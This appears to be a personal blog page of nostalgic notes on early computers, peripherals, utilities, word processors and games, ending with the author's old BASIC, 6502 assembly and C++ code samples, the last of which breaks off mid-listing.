With the fall of OS/2 and the rise of Linux, I think Apple started to realize that nobody can ever compete with Microsoft in the proprietary Operating System market. The only way to get a good library of software written for your computer (without using a Microsoft OS) is to embrace the Open Source community and tap the efforts of volunteer developers. That's a good idea, but yet again (do you sense the repeating theme of this whole blog?) the Open Source developers fragmented as Apple chose FreeBSD over Linux. To any degree that FreeBSD succeeds, it will take more market share from Linux than Microsoft.
Notably and intentionally absent from my list: Windows Vista. At best this is another disaster like Windows ME. At worst it is a serious erosion of consumer rights.

Display Technologies

Teleprinter
Before monitors and keyboards, you communicated with a computer (a mainframe usually) using a one of these devices that are essentially 2-way typewriters. I used one of these heavily for about 3 months. Teleprinters also were the pioneering platform for ASCII ART
Computer Terminals
Before there were personal computers, there were all manner of dumb terminal technologies that allowed many people to use a central mainframe via text-based interfaces. These text terminals often did more than just display text. They also responded to special escape sequences that could move the cursor and draw special characters and even change the text color.

You would think that just one or two terminal standards would cover everything you could possibly do with text...but nooooooo...everyone wanted some tiny little change or some new feature, and they wrote whole new protocols to support it. There were a ton of display standards, but the ones I remember using are: IBM 3270, VT05, VT-50/52, VT-100, VT-102, VT-220 ANSI

The command-line interface has always been the "sweet spot" for most cost-effective and efficient human-to-computer interface. Modern graphical Operating Systems have made computers a bit easier to use, but they are absolute beasts in terms of system resources they consume and in terms of the decades of effort it has taken to develop these monsters. If you want to get the most out of your computer, the command-line still rules. :)
Monochrome Monitors
For the first 5 years of my computing experience, color graphics was a luxury most people (including myself) could not afford.
Monochrome Display Adapter
The very first display adapter for the IBM PC. It had no graphics capabilities at all. This was exceedingly lame for 1981 when most computers had at least SOME graphics display ability.
Television Set
Most of the first home computers (Apple, Tandy, Commodore) were designed to use a common television set as your display monitor. This also gave you some limited ability to display color. But the resolution and clarity was poor, generally leading to a maximum of 40 columns of fuzzy text across the screen.
Hercules Graphics
A wildly popular video card for the early PC platform. It was a bridge between monochrome text and CGA graphics. If you couldn't afford a color monitor, a Hercules card would emulate CGA using shades of your monitor's 1 color. Color monitors where prohibitively expensive for the early PC's.
CGA
The first PC standard for computer graphics. Soon after CGA came EGA, and then, VGA, and then SVGA, and then XGA, and by then the public was completely confused and nobody could figure out what kind of video they had or needed or wanted. From that point on, all PC display technologies became known generically as "VGA", even though additional standards such as SXGA, UXGA, QXGA, WSXGA PLUS, etc. kept rolling out. Once you get to 1600x1280 at 16 million colors (which almost any new computer can do) there's rarely any point to go higher. That's higher than HD quality. If you have some kind of gigantic video screen, it's easier and cheaper to handle that by using multiple video cards and/or multiple computers.

Printers

IBM Selectric
Not really a printer, but later models of the IBM Selectric had a serial port (seriously) so they could be used as a printer. This was the finest typewriter of its day, and I used one in a typing class in High School. My generation is probably the last to have used typewriters in school. :)
Daisy Wheel Printer
For a while, these gave dot matrix printers a run for their money, because the text they produced was so much clearer.
Apple Image Writer, AppleImage Writer II
Dot Matrix printers made by Apple. These were serious workhorses of supurb quality and durability. Many are still in use today!
Continuous Feed
For the first 15 years I used computers, paper was always fan-fold continuous feed (a.k.a. tractor-feed).

Paper that came in packs individual cut sheets was lame! That was something your grandma would use for her typewriter! If you wanted professional printouts, you could buy micro-perf varieties of fan-fold paper that would leave a smooth edge after you remove the tractor-feed strips.

I never thought single-sheet paper would make a comeback...but boy did it! Now it has become difficult to find fan-fold paper!

As much as I like modern printers, I still miss the convenience of having the gigantic box of fan-fold paper feeding a printer. I never had to worry about running out of paper so long as I checked the box maybe once a month. And actually, the overall cost was much cheaper too. One print ribbon could be bought for 1/10th of what an modern inkjet cartridge costs, and that print ribbon would last for thousands of pages, not just hundreds. On the Apple Image Writer, you could always do the trick of spraying WD-40 into the ribbon "bunching" area of the cartridge and that would extend the life of the ribbon by another several hundred pages.

If it wasn't for the fact that people don't print nearly as much as they used to, I bet dot-matrix would stage a small comeback in a bad economy.
Line Printer
We used these in college a LOT for printing out source-code listings. These printers were like a regular dot-matrix printers, except the print head was 15 inches wide and could print an entire line at once (on wide green-bar paper). The noise level was extreme, so these printers had to have heavy sound shielding.
Apple Scribe
A dot-matrix printer that didn't use ink, but instead printed on thermal paper. Perhaps this was a good idea for cash registers, but not for everyday business use. The paper smelled funny, and if the paper got hot it turned black.
HP Laser Printer
Laser Jets have dominated the business market since the early 90's. They cost less to operate (in the long run) than inkjet printers. For the first several years, HP ruled the market place. If you wanted a Laser printer, the only question was whether you wanted the HP LaserJet II or HP LaserJet III. Now laser printers are such a commodity that nobody really notices what brand they are.

Storage Media

Cassette Tape
The first personal computers (including my first computer) could use a simple tape recorder for loading and storing programs. This was unreliable and slow. Trying to store data on a cassette tape was more of a hobby than a legitimate way to store information.
Floppy Drive
This is the invention that really MADE the personal computer. Computers just weren't very useful unless they could STORE things, and the floppy drive made that possible. My favorite drive of all time is the original Apple Disk ][. I have many of these drives that are over 30 years old, and they still run perfectly.
Corvus Drives
One of the early hard drive makers for personal computers. They generally came in 5 Meg and 10 Meg models, and cost around $4000 in 1980 money. (ouch!) Corvus also "pioneered" the technology of making hard drive backups to VHS tape. That never really caught on...partly because people don't want to keep their computer near their television set. Many technologies and died trying to bridge the gap between T.V. and Computer.
Sider
5Meg or 10Meg Drive (5.25" drive). This was the first practical and affordable hard drive for the Apple. It was a fraction of the cost of a Corvus drive. I had the 10 Megabyte drive. It operated at about 800 RPM (no that's not missing a zero), but this did not limit the speed of the Sider nearly as much as the fast that the Apple was only a 1Mhz computer. The Sider was, at best, 2 times faster than a floppy drive. But this was still a highly coveted piece of technology as Apple software quickly crossed the 140k floppy barrier. The think I remember most about the Sider was the noises it made. Modern hard-drives buzz and rattle because they move so quickly. The Sider moved so slowly that it would chirp and "thweep" and "woop" and make almost musical noises.
Bernoulli Box
Very expensive predecessor to the Zip Drive
Zip Drives
This is the last dying gasp of the magnetic floppy disk drive. It was fairly popular in the late 90's, but has ultimately replaced by optical drives and flash drives. The Zip disks did not have a stellar reliability record. They were know for dying with a noise that was dubbed The Click of Death
Jaz Drives
Similar to the Zip drive, only the Jaz drive was an actual hard-drive that had an ejectable platter. This sounded like a great idea...until everyone eventually remembered WHY hard drive platters have to be kept sealed. Hard drive platters are extremely sensitive to dust and humidity and static. Jaz disks had short life-spans and were unreliable.
Tape Drive Tapes
At some point in my life, I have owned Travan, QIC, and Ditto tape drives. In my head, I can still clearly hear the noise back-and-forth whirring (WEEEEEE-heeeee-WEEEEEEE-heeeee) of these slow and marginally reliable devices. Tape Drives died off very quickly once hard drives started to become too big to backup on any kind of low cost tape mechanism. If you want to backup your drives today, you are pretty much limited to either burning a tall stack of DVD's or buying another hard drive for backup storage.

Audio Devices

1 bit speaker
The Apple ][ had 1-bit sound. You accessed a memory location that caused the speaker to "click", and if you clicked fast enough you could generate a buzz or a tone. If you clicked in complex patterns you could generate sound effects. There was no volume control. The speaker was just permanently loud. Early computers also had no separate processor for sound, so the CPU had to manage the sound of a game while also managing the animation and inputs.
4 voice Mockingboard
The first real sound card for the Apple II. I think the success of the Apple II is due in large part to its expandability. The graphics and sound of the Apple II were awful, but you could always buy sound card and video card upgrades, much like a modern PC. Other early computers had little to no hardware expandability, and generally used hacks and kluges to attach new hardware through the system game ports.
Applied Engineering Phasor Sound Card
I had one of these for my Apple ][. All I really remember about it is that the demo program played an impressive 16-voice version of Foggy Mountain Breakdown. (Yes, that is Steve Martin on the 2nd banjo)
Sound Blaster16-bit
For nearly two decades, the audio capabilities of a computer were a serious factor to be considered when buying a computer. Companies like Creative Labs made a great business out of developing expansion cards for PCs that could produce better and better quality sound. But eventually Creative Labs hit their limit with the Sound Blaster 32-bit/Sound Blaster Live. These cards could produce CD-quality sound or better, so there were no more upgrades possible. Eventually the hardware for making 32-bit sound became a commodity, and everyone stopped caring about sound cards. Only audiophiles and people running high-end audio processing applications pay attention to PC sound hardware anymore. Everyone else just looks for the green, pink, and blue audio jacks. =)
Electromagnetic radiation
The strangest sound system of all time has to go to the PDP-8. The PDP-8 had no sound system at all. However, the PDP-8 did emit a huge amount EM radiation. It would never pass FCC standards today. If you tried to listen to an AM radio anywhere near a PDP-8, your radio station would be drowned out by all the static and electronic chatter generated by the PDP-8.

Well, someone noticed that certain operations on the PDP-8 would produce bursts of noise that sounded somewhat like a fuzzy tone. If you altered the operations of the CPU, you could vary pitch of the tone. Using this technique, music programs were written for the PDP-8 that would play songs over your AM radio by having the PDP-8 execute loops of instructions that generated "tones" of EM radiation. Here are a couple of YouTube videos demonstrating the PDP-8's music ability. They have to be seen to be believed: A PDP-8/e - This includes a demonstration of a teleprinter. Also notice that the circuit breaker trips the first time this guy tries to turn the computer on. :) A PDP-8L - This video is in German, but you can kinda understand what they are saying. It's also a good demo of the PDP paper-tape drive. The PDP-8 was a little before my time, but I have personally used a PDP-8...for about 30 minutes. That was enough to get me hooked on this absolutely fascinating machine.

Misc.

Demoscene
The demoscene was one aspect of the 1980's revolution in individual technical achievement. These were the days when two guys in a garage could invent a new computer, or one programmer could write a video game that became an international hit. The demoscene arose out of friendly competitions between small groups of programmers to see who could make the coolest and most artistic demos by pushing the sound and graphics of their chosen platform to the limit. Today, there's almost nothing impressive you can do with a computer that wouldn't require an army of software developers and artists to accomplish...and so the demoscene is dead. Likewise I doubt anyone will ever invent a new computer in their garage again.
PDAs
Between 1996 and 2001, I went through a "PDA phase" where I bought about 5 different PDAs before finally realizing they weren't useful. I've owned several models of Palm Pilot, IPaq, and CLIE. They are all collecting dust now. I eventually decided that I was not about to store important data on a device that could easily be broken or stolen or lost. Backup software for the PDA was awful and impractical, and the applications were always highly proprietary which make it impossible to move your important data to another application or any other brand of PDA.

As a standalone device, the PDA just wasn't that practical until they finally started having live internet access as a feature. In theory, you should be able to access your data (phone numbers, address, passwords, etc.) from a secure internet server instead of trying to pull it up from the PDA using some crappy proprietary PDA application. By keeping your data on the internet, that also allows you to access your data from any PDA, smartphone, or desktop PC that has a browser. Your data is not dependent on any device, and cannot be stolen or lost. Your data can be exported in XML or text for portability.

However, this is all theory, because I have not yet found an online internet database that is free, trustworthy, easy to use, and usable on a tiny screen. So I wrote my own. It's a regular Java Web Application that stores all my data on an Apple ][. (Seriously.) The Java Web Application make a connection over an RS-232 port to a Web Service (written in Assembly) running on an Apple ][. So I essentially have an Apple ][ 5.25" floppy disk that I can access from the internet. :)

Legendary Utilities

The Print Shop
In its day, Print Shop was da bomb!! It was the "must have" program if you owned a printer. People who never considered buying a computer bought one just to have Print Shop. It allowed you to combine text and graphics with various pre-fab templates. It also came with a library of pre-made graphics, and it could print big banners on your fan-fold paper. Print Shop is still sold by Broderbund. It's now on version 22 (I kid you not). But it's not such a popular program anymore. People found other ways to do fonts and graphics...and nobody uses fanfold paper anymore, so banners are a hassle.
Dalton's Disk Disintegrator
This was one of several disk-splitting utilities that allowed you to split the contents of a disk into a few large binary files (complete with CRC-32 checks). This was useful for uploading software to pirate sites. :)
Copy II+
Operating systems on early computers were super-primitive, and didn't offer easy ways to mass copy files between disks, or copy a whole disk, or browse the contents of text files, or compare files, etc. The command-lines of early computers were a joke. (The command-line for Windows still IS a joke.) So a cottage industry of utility software for file management was born.
Disk Copy Utilities
All through the 1980's there was an arms race between software vendors and software pirates. There were lots of highly sophisticated copy programs that could do low-level copies and crack all manner of encoding schemes software vendors would use for making their disks difficult to copy. On the Apple ][ and C64, the disk drives were controlled by software, not hardware, and that allowed for some especially ingenious tricks to make disks uncopyable. Essential Data Duplicator, Locksmith, Disk Muncher, and Nibbles Away were the three top software programs for analyzing and cracking disks so they could be copied. These weren't simply little utilities...these were major software packages, often complete with their own development environments and programming languages. Breaking protected and encrypted software was a very serious (and time-consuming) hobby for a great many computer geeks (including me).

As with song-swapping and movie pirating today, I can make good arguments on both sides as to why this is or isn't harmful, why it should or shouldn't be legal, and whether it is or isn't even possible to stop. But since this issue has been with us since the late 70's, I just don't see it going away anytime soon. We'll be fighting this one in the courts and in public opinion for decades to come.
Beagle Brothers
Sort of the "Apache" of the 1980's. They made every manner of cool and useful software utility.

Stacker, DiskDoubler
For a brief couple of years in the PC revolution, hard drives were the most expensive component of a computer, and hard drive space was a precious resource. Stacker and DiskDoubler became two wildly popular software programs that would transparently keep all the data on your drive compressed. Everyone used them...to varying degrees of success or data corruption. :)
Memory Expanders and Extenders
The original 8088 CPU had a 20-bit address space, which meant it could access only 1 megabyte of memory. When IBM build the first PC, they reserved the top 384K of range for peripheral I/O and video, leaving a maximum usable memory size of 640K for the IBM PC. Legend has it that Bill Gates claimed nobody would ever need more than 640k. Whether Bill actually said that is a matter of debate, but for certain a lot of people at IBM must have been thinking that. (Or they thought the PC would go away in 2 years and be replaced by something completely different.) As DOS programs grew, the 640K limit soon became too restricting, and all manner of hackery and trickery was invented to expand the memory space of the 8088. The first trick, called Expanded Memory, allowed access to the unused parts of the upper 384k reserve. The next trick, called Extended Memory, allowed DOS to access memory ranges above 1MB...but only on Intel 80286 and higher processors. The most common expanded memory driver was called EMM386, and the most common extended memory driver was called HIMEM. Quarterdeck made a famous memory manager called QEMM, but then Microsoft countered with Memmaker, and built Memmaker right into MS-DOS 6.0...this killing Quarterdeck's market share.

Here is the general pattern:
  1. A company innovates something Microsoft doesn't have (because Microsoft NEVER innovates)
  2. Microsoft makes their own version of this product, and builds it into the OS that everyone has to buy anyway.
  3. Microsoft's version may not even been as good as the competition, but if it works, people will use it because it's "free".
  4. Microsoft slowly raises the price of their OS with each release to pay for all these goodies.
  5. Microsoft wins, and everybody thinks Microsoft is giving away these programs for free.

I'm reminded of the scene in The Matrix where Morpheus is sparring with Neo and he says "Do you think that's air you're breathing right now?" except the question I want asked is "Do you think that's free software you're running right now?" Nothing in Windows is free: not the Browser, not the Media Player, not the CD Burner, not the folder compression, not anything. Microsoft could be selling a $50 Operating System if you could buy these things separately...but you can't.
After Dark Screen Saver
Atari made the first screen savers for the Atari 2600, Atari 400 and Atari 800. At the time there was some benefit to trying to prevent burn-in on older CRT monitors. However, once screen savers hit the mainstream on Mac's and PC's, the whole world just went NUTS over screen savers! There was the Star Trek screen saver, the Garfield screen saver, the Duran Duran screen saver, the Classic Car screen saver, and of course "After Dark" which was known for its Flying Toasters screen saver. I can remember working at one job where we had a server that would slow to a crawl after 30 minutes. Whenever the admins would go look at the server, it would start running fast again. Then 30 minutes later it would crawl again. The cause turned out to be...you guess it...a screen saver that was kicking on every 30 minutes and doing complex 3-D animations.
Procomm
The best modem terminal program ever made for the PC
Proterm
The best modem terminal program ever made for the Apple
Ascii Express
The first full-featured modem terminal program for the Apple ][. It supported a scroll-back buffer (ooooo!) and it could transfer files with X-Modem or Kermit! (aaaaah!)
Pixiterm
I have no link references for this jewel. Pixterm was the first graphical BBS software. Instead of sending text, it sent vector commands to draw graphics on your screen. (You had to be running the Pixterm client to interpret these commands.) You had pictures and graphical text combined. This was the first glimpse of what the Web would eventually look like. Pixiterm was way ahead of its time.

Word Processors

vi
This is an example of the power of a standard. Vi is sure not the best editor there is, but it's the one that comes with every Unix/Linux OS. So if you learn to do everything with vi, you can't go wrong.
Magic Window
A very, very early word processor. It was so old that it actually emulated the behavior of a typewriter. Your cursor remained FIXED in the very center of the screen at all times and the whole page would move right to left as you typed. If you went up or down, the whole page moved up or down, but your cursor never moved. It's actually a really neat way to edit a document, and probably would feel 100% natural to someone used to using a typewriter.
BankStreet Writer
This was a very popular word processor for early computers. It was designed for school kids, but its dead-simple interface also appealed to adults who were otherwise intimidated by computers.
EMACS
The jokes was that EMACS stood for "Escape Meta Alt Control Shift", in reference to EMACS's heavy reliance on complex function key sequences to accomplish anything useful. If you could copy and paste a paragraph in EMACS, then a Mortal Kombat Fatality should be easy by comparison.

The Golden Age of WYSIWYG Word Processors: 1988 - 1993

Once upon a time, there was competition among word processing software. There was variety and choice. Today, there is only Microsoft Word and any free software that can try to emulate Microsoft Word.

Graphic Writer //gs
The first graphical WYSIWYG word processor I ever used. It had all the basic features you'd really need in a Word Processor. Since then, Word Processors has increased in size by roughly 10,000%, while only adding maybe 20% more useful features.
WordStar (for Windows 2.0)
WordStar is a serious OLD school word processor. It was one of the first. It was originally a text-based word processor that used text markup to control fonts and formatting...almost exactly like HTML.
AMI-Pro
An awesome word processor that stored documents in an readable and parsable markup format. It was absolutely brilliant...right until Microsoft Word put them out of business.
WordPerfect 5.1, WordPerfect 6
This was the top-notch professional Word Processing software of its day. It was pretty much THE standard for word processing in its day. Now it's just another road kill on the monopoly highway to Redmond.

Games

If I listed every game I've ever played, this would be a gigantic list. So I've paired this down to the key games that were especially memberable.

Text-only games

DECWAR
A text-based multi-player real time action game based on Star Trek. I kid you not. The game would draw a text grid showing a character for your ship and other special characters for other ships, and as fast as you could type commands to move, turn or fire, they would happen. Faster typers won this game. Rich kids who had 1200 baud instead of 300 baud REALLY whooped up on everyone. You could play Federation or Klingon, and you'd fly your ship around (by typing) and you could dock at bases and attack enemy ships. You could also attack an enemy base and eventually convert it to a friendly base.

It was a surprisingly full featured game. You could push your engines past their limits if you wanted to move really fast...but you risked burning them out by doing that. You could just pretend that Scotty was yelling "They can't take much more of this!!" Likewise you could crank your phasers past their limits too, and even ram into an enemy ship if you were really desperate. Needless to say these battles were quite dramatic and exciting! (And this was all in text!)
Dungeon
This was the first RPG game. It was written in FORTRAN (seriously) and ran on PDP-10 and PDP-11 computers. It was the precursor for Zork.
Rogue
A text-based RPG game. My favorite version was a later derivative of Rogue called Larn. This was a really fun RPG game, and it was text-only. Really!
MUDs
This was a text version of a massive multi-player RPG. It was just like World Of Warcraft, except nothing was visual. Everything was described in text. So, it required more imagination. But that made it fun! Since everything happened real-time, you had to be a fast reader, and you had to pay attention! Large battles could cause a mass of text to go whizzing by, and sometimes you wouldn't notice you were in trouble. Sometimes you wouldn't even notice that you had died! Often times I had to do a search of my scrollback buffer to find the words "You died."
Hunt
The text equivalent of a first-person shooter. You walked around a maze that you viewed from the top. Your character would be either a < or > or ^ or V depending on which way you were facing and which direction you could see. People could sneak up on you if you didn't happen to be looking in the direction they were coming from. In the maze, there were ammunition packs you could pick up, and you had weapons of various sizes that you used by pressing the keys 1 through 6. You moved about using the keyboard. If all of this sounds familiar, it should, because this is exactly the way all first-person shooter games work today.
Zork
The Alpha and Omega of text adventures. Everyone is too spoiled by eye-popping graphics for another text adventure to ever succeed. That's too bad.

Graphical games (in no particular order)

Sea Dragon
The was one of only two games ever that managed to produce speech through the Apple ]['s 1-bit sound system.
Alien Syndrome
You are fighting an alien race that apparently evolved from water balloons. But that makes the game SO fun and playable! The aliens are super-easy to kill, and when you shoot them they don't just die...they POP with a very satisfying squishy sound!
Captain Blood
A highly original game with killer graphics and sound. This is also the first Sci-Fi game to really acknowledge that the whole Universe does NOT speak English. So, you spend a great deal of time in this game doing this and this. You communicate using a symbolic language made of all these pictures. After playing this game long enough, I became fluent in that language...and it messed with my head. Someone would ask "How's it going Bert?" and I would think something like "Gasaid lada lacdaf-lacdaf-lacdaf!" and then have to translate THAT into English before speaking!
Pirates
I'm attacking another ship, and my crew is down to 5 men, and the enemy crew still consists of 250 men...but if I win a sword fight with their captain, the 250 crew surrenders in terror. Ya right. But it was still a highly original and fun game. If you could master the sword fighting aspect of the game, you could win any battle practically by yourself.
Alien Mind
This game was fun, but it was a SERIOUS downer. First of all, the intro music is a sad song played in a minor key. That really sets the mood. You are on a space station that is overrun by aliens. (Well, really one big alien who sends lots of robots to attack you.) There are so many dead bodies laying around the space station that one of the skills you need to master in this game is running without tripping over them. Every time you trip over a dead body it slows you down, and that's the last thing you want since you will spend the entirety of this game being chased by killer robots.

You have a friend who is on the space station and who is still alive, but you can't find him. You can only talk to him through secret messages he sends to specific terminals in the station. Each message he sends is more desperate than the last. You hurry and hurry and hurry...and you finally find him...just in time to watch him DIE. You kill the final big alien and win the game, but you don't care. And then come the credits with yet another song in a minor key. Thanks a lot Game!
Altered Beast
The above link is kinda funny. This game was a cutting-edge side-scroller for its day. It was so advanced that it distracted you from the fact that this game is absolutely ridiculous. You kick monsters in the shin until they explode and you kill white two-headed dogs to get steroid pills.
Thexder
Transformers meets Bobobo-bo Bo-bobo. You could transform into either a plane or a robot, and for a while this seemed like a pretty cool arcade game. But then the game became increasingly weird and increasingly Japanese...and you would find yourself blasting through killer olives and walls made of smiling top hats and all manner of stuff that didn't make sense.
Castle Wolfenstein
This is the game that started EVERYTHING. This silly game spawned Wolfenstein 3D...which spawned Doom and Quake and every other first-person shooter you've ever heard of.
Bilestoad
Most bizarre, hilarious and scary game EVER! You try to escape each level by using teleportation circles and flying discs, but you are hunted by an axe-wielding killer robot. As the robot catches up to you, he appears as a dot on your radar...closing in on you fast...all the while the song "In the Hall of the Mountain King" is playing...which heightens the tension. If you can't find a teleport disk or find a way to out-run him, you'll have to fight the robot. And fighting the robot is surprisingly bloody and gory for an early 80's game.
Battle Chess
This should make the list of "Top ten cool things mankind couldn't do before computers were invented".
Winter Games , Summer Games
Sports games? On a COMPUTER? Actually, these were really fun games that were huge hits...even if the only "sport" was finding out how fast you can type two keys back and forth in rapid succession.
Ultima I, II, III, IV
After Ultima 4, Ultima was no longer fun because it became TOO realistic. It became as boring and tedious as real life. You had to deal with the weather, sleep, becoming ill, earning money, replacing worn-out items, etc. Somewhere along the way the game makers forgot that Ultimas were fun because they were action games, not simulation games.
Rescue Raiders
In this game, you command a military base...from a helicopter. The problem is the enemy always has tons of surface-to-air missiles, so you can't fly your helicopter up to the front line of the battle. This means all the best action is always happening off screen where you can't see it. The solution? Cheat mode! In cheat mode, this game is awesomely fun!
Dungeon Master GS
The first 3D RPG game ever! It was absolutely incredible, and very well written. Lots of fun. They are planning on making an updated version of Dungeon Master for the XBox 360 and Playstation 3. I'll have to check that out!
Bards Tale, Bards Tale 2: Destiny Knight
Classic RPG games. Very popular and lots of fun.
Doom, Doom II, Doom III
I was an avid online Doom II player around 1995. We did not play over the internet (because the latency was too high), but rather we had to call up a local site that hosted several Doom II servers. I was ranked #3 in the KC Metro for a while, and then I finally beat the #2 guy three games in a row...and he threw a severe temper tantrum and literally freaked out. I really thought he was gonna hurt himself. I lost interest in the game after that.
Quake
I never liked Quake as much as Doom, because Quake is too reliant on special items. It's no longer a game of how well you can aim and move and shoot, but rather how well you run around to all the secret locations and hog all the power-pills and special abilities. With Doom II, all I needed was the shotgun and nothing else!
Xenophobe
This was a really cool arcade game that was ported to many platforms. It had really advanced graphics and sound and a good multi-player system...and that makes it mind-boggling bizarre to know that Atari ported this game to the Atari 2600 in 1990!! If you remember Xenophobe, you have to click on that link above. It's hilarious. I don't know how someone could seriously play this game on the 2600. I mean...dang...why don't you port Quake to the Atari 2600 while you are at it? It would be just about as playable.
Little Computer People
The first computer "pet"...sorta a precursor to "The Sims"
Arkanoid, Arkanoid 2
The game "Brickout" makes a brief but glorious comeback!
Silent Service
We played this alot in college. I won 8 cases of Dr. Pepper over a long series of bets playing this game. :)
Silpheed
A cool shoot-em-up space game. This is one of many games where you frequently dock with a re-supply ship...and you have to wonder...how did the re-supply ship get here? How are they way ahead of me and just waiting? How come I had to fight a whole space armada to get here and yet this MUCH larger supply ship just cruised on in? Why don't I just ride inside the re-supply ships?
Space Quest
The best (in my opinion) of the "Quest" series of games. (Police Quest, Kings Quest, and Space Quest)
Task Force
Probably the best side-scrolling game ever made for the //GS. This is where the superiority of the Amiga over the //GS was evident...because this game maxxed out the //GS's abilities at 3200 colors, and yet it was still a notch below the best the Amiga could do. The Amiga could turn its graphics up to 11!
Xenocide
This was a really cool game that I couldn't possibly describe.
Zany Golf
Along with Battle Chess, this should make some list of things we couldn't do before computers. Every kid who plays miniature golf dreams of building courses like these!

Programming languages and development tools

Below are all the programming languages I've used over the years, and where possible I have included samples of actual code from my archive of programs I've written since 1979.
Integer Basic
This was the very first programming language for the Apple ][. It was written by Steve Wozniak himself. It was later replaced by a much slower (but more feature-rich) version of BASIC written by Microsoft. I guess you could call it "Vista Basic" :)
Applesoft Basic
The Microsoft Basic for the Apple computer. Like most programs for the Apple ][, you could only do very basic things in BASIC, and most of the hard work had to be done in Assembly. Apple never had a good "in between" language like C. They did have Pascal, but the runtime libraries were impractically large for a 64k machine with 140k disks.

1 HIMEM: 32768
5 IF PEEK ( -16384) = 160 THEN END
10 REM DATABASE
15 PRINT CHR$(4);"BLOAD SEARCH.BIN"
20 TEXT : HOME
21 PRINT CHR$(12)
30 INPUT "NAME OF WORK FILE : ";NAME$
63 PRINT CHR$(4);"OPEN "NAME$".DATA":PRINT CHR$(4);"READ "NAME$".DATA"
70 INPUT F
71 ML = 0
72 FOR T = 1 TO F
74 INPUT NF$(T): INPUT LF(T): ML = ML + LF(T): INPUT SP(T)
80 NEXT
85 POKE 32816, ML
86 POKE 32801, F
90 PRINT CHR$(4);"CLOSE "NAME$".DATA":PRINT CHR$(4);"OPEN "NAME$",L"ML:PRINT CHR$(4);"READ "NAME$",R0"
95 INPUT N
97 PRINT CHR$(4);"CLOSE "NAME$
98 DIM D$(F,100)
99 MN = N
100 TEXT:HOME
101 PRINT CHR$(12)
105 PRINT : PRINT N" RECORD IN CURRENT FILE" : PRINT
110 PRINT "CHOOSE : "
120 PRINT "(1) ADD TO CURRENT FILE"
130 PRINT "(2) READ FROM CURRENT FILE"
140 PRINT "(3) CREATE A NEW FILE"
150 PRINT "(4) CHANGE CURRENT FILE"
152 PRINT "(5) SORT/ALPHABETIZE A FILE"
153 PRINT "(6) EDIT A FILE"
154 PRINT "(7) RESET # OF RECORDS IN A FILE
155 PRINT "(8) DELETE RECORDS FROM A FILE"
160 PRINT "(9) SEARCH FOR LISTING"
161 PRINT "(S) DETAILED SEARCH"
162 PRINT "(Q) QUIT"
164 PRINT:PRINT "WHICH : ";: GET A$
180 ON A GOTO 1000,2000,5000,6000,7000,6200,6300,6400,10000,7000
.
.
.
3000 REM DETAILED SEARCH
3010 TEXT: HOME
3020 PRINT "ENTER SEARCH STRING : ";
3030 S$ = ""
3040 CALL -657
3050 FOR X = 512 TO 766: IF PEEK(X) <> 141 THEN S$ = S$ + CHR$(PEEK(X) - 128) : NEXT X
3060 A = 0: B = LEN(S$)
3070 FOR T = 34048 TO 34304
3080 A = A + 1
3090 IF A > B THEN GOTO 3150
3100 POKE T, ASC(MID$(S$,A,1)) + 128
3110 NEXT T
3150 POKE 32805,B
3160 CALL 34560
3170 PRINT:PRINT
3180 PRINT "PRESS ANY KEY TO CONTINUE....";: GET Z$
3190 PRINT:PRINT
3200 GOTO 100
6502 Assembly
I wrote a database program for the Apple ][ back in 1984. If I printed all of it out, it would be a stack of pages as thick as a novel. And all it did was basic Read/Write/Update/Delete database operations that you could accomplish in just a few lines of Java code today. This piece of code is reading a small data buffer and outputting the data to the screen at the current cursor position. The label names I used were horrible, like "ARES2" and "AACONT2", and that's because after a few hundred pages of source code, you run out of good names for labels, and you are just happy to find any combination of letters you haven't used yet.

ALPH1 INC REC1+1 ; INCREMENT RECORD # TO 1 (ONLY ONE PASS)
BNE ACONT
INC REC2+1
ACONT LDA #DBHI ; STORE ADDRESS OF DATABUFFER 1
STA BUFFAHI+1
LDA #DBLO
STA BUFFALO+1
JSR RD ; READ INTO DB 1
LDY #$0A ; CHECK FOR ERROR
LDA (00),Y
CMP #$00
BEQ ARES2
JMP QUIT ; IF ERROR QUIT
ARES2 INC REC1+1 ; INCREMENT RECORD #. (MULTI PASS)
BNE AACONT2
INC REC2+1
AACONT2 LDA REC2+1 ;
CMP NHI ;
BCC ACONT2 ;
BEQ AHIEQ ;
JMP QUIT ; CHECK TO SEE IF END OF RECORDS REACHED
AHIEQ LDA REC1+1 ;
CMP NLO ;
BCC ACONT2 ; CAREFUL HERE....LAST RECORD
BEQ ACONT2 ;
JMP QUIT ;
ACONT2 LDA #DBHI2 ; FASTER TO DO ONLY ONCE. POSSIBLE FIX.
STA BUFFAHI+1 ; STORE ADDRESS OF DB 2
LDA #DBLO2
STA BUFFALO+1
JSR RD ; READ INTO DB 2
LDY #$0A
LDA (00),Y
CMP #$00
BEQ ARES3
JMP QUIT ; IF ERROR QUIT

;
; OUTPUT RECORD TO VIDEO
;
ARES3 LDX #$0
ALOOPA LDA DATABUF2,X
CMP #$0
BNE OUTONE
LDA #$A0
OUTONE CMP #$8D
BNE OUTONEX
LDA #$AA
OUTONEX CPX #$27
BCS NOTVID
STA VIDEO,X
INX
CPX RECLEN
BNE ALOOPA

;
; VIDEO OUT END
;
Merlin Assembler
This was probably the most popular assembler for the Apple ][. I used both Merlin and LISA heavily in my own software development. (I still use both to this day.) I can't find any good links about Merlin through, other than these links to the documentation: doc1, doc2, doc3
Logo
Turtle! Turtle! Turtle! A entire programming language designed around the concept of issuing commands to an imaginary turtle. And the turtle was drawn on the screen as a triangle...because we all know that turtles have three sides.
C++
Here is the absolutely first C++ program I ever wrote. This was for a class in college. Apparently I was very fond of stream operations.


class faculty : public person
{
char *rank;
int tenured;
char *dept;
int salary;
int get(faculty p);
ostream& operator << (ostream& s, faculty& p);
}

faculty::faculty(int n, int a, int p, int s, int r, int t, int d, int sal)
: person(n, a, p, s) /* call the person constructor */
{
rank = (char *)malloc(r);
tenured = t;
dept = (char *)malloc(d);
salary = sal;
}

int get(faculty p)
{
int status;
status = person::get(p);
return (status + scanf("%f%s%s%s", p.gpa, p.major, p.id));
}

ostream& operator << (ostream& s, faculty& p)
{
s << p.name << p.address << p.phone << p.ssn <<
p.rank << p.tenured << p.dept << p.salary;
return s;
}

class person
{
protected:
person() {};
person(char *n, char *a, char *p, char *s);
char *name;
char *address;
char *phone;
char *ssn;
person create(char *n,char *a,char *p,char *s);
void copy(person& d, person s);
void get(ostream& s, person p);
ostream& put(ostream& s, person p);
ostream& operator >> (ostream& s, person& p);
ostream& operator << (ostream& s, person& p);
}

person::person(char *n, char *a, char *p, char *s)
{
name = new char[strlen(n)+1];
address = new char[strlen(a)+1];
phone = new char[strlen(p)+1];
